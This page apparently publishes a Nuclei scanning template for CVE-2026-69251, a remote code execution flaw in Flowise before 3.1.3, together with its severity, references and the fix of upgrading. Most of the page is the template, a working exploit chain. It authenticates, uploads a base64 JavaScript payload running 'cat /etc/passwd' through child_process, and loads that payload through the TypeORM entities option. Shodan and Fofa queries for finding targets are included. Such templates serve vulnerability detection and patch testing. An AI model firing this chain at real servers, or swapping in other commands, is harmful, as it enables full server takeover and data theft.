Flowise < 3.1.3 - Remote Code Execution
CVE-2026-69251
Early Release
Description
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
Severity
Critical
CVSS Score
9
Affected Product
flowise
Published Date
August 4, 2026
Template Author
1dayexploit
CVE-2026-69251.yaml
id: CVE-2026-69251
info:
name: Flowise < 3.1.3 - Remote Code Execution
author: 1dayexploit
severity: critical
description: |
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
impact: |
Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Update to version 3.1.3 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- https://nvd.nist.gov/vuln/detail/CVE-2026-69251
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 9.0
cve-id: CVE-2026-69251
cwe-id: CWE-94
metadata:
verified: true
max-request: 5
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive
variables:
fname: "{{to_lower(rand_text_alpha(8))}}"
payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
skip-variables-check: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
condition: and
internal: true
- raw:
- |
POST /api/v1/document-store/store HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"name":"poc-{{fname}}","description":"CVE-2026-69251"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "loaders")'
condition: and
internal: true
extractors:
- type: regex
name: storeid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: loaderid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /api/v1/document-store/vectorstore/insert HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- '!contains(body, "Disallowed TypeORM DataSource option")'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- 'Error: (root:.*?)",\"stack'
# digest: 4a0a00473045022100995da9f71d083793d2d4f1939666571ea6b054c543efa94fd603c1f42b43c58e02204a7b9cc5151a2e62b6401971197345deb76f540b04ccaf81a66b900c84895993:922c64590222798bb761d5b6d8e729509.0Score
CVSS Metrics
CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVE ID:
cve-2026-69251
CWE ID:
cwe-94
Remediation Steps
Update to version 3.1.3 or later.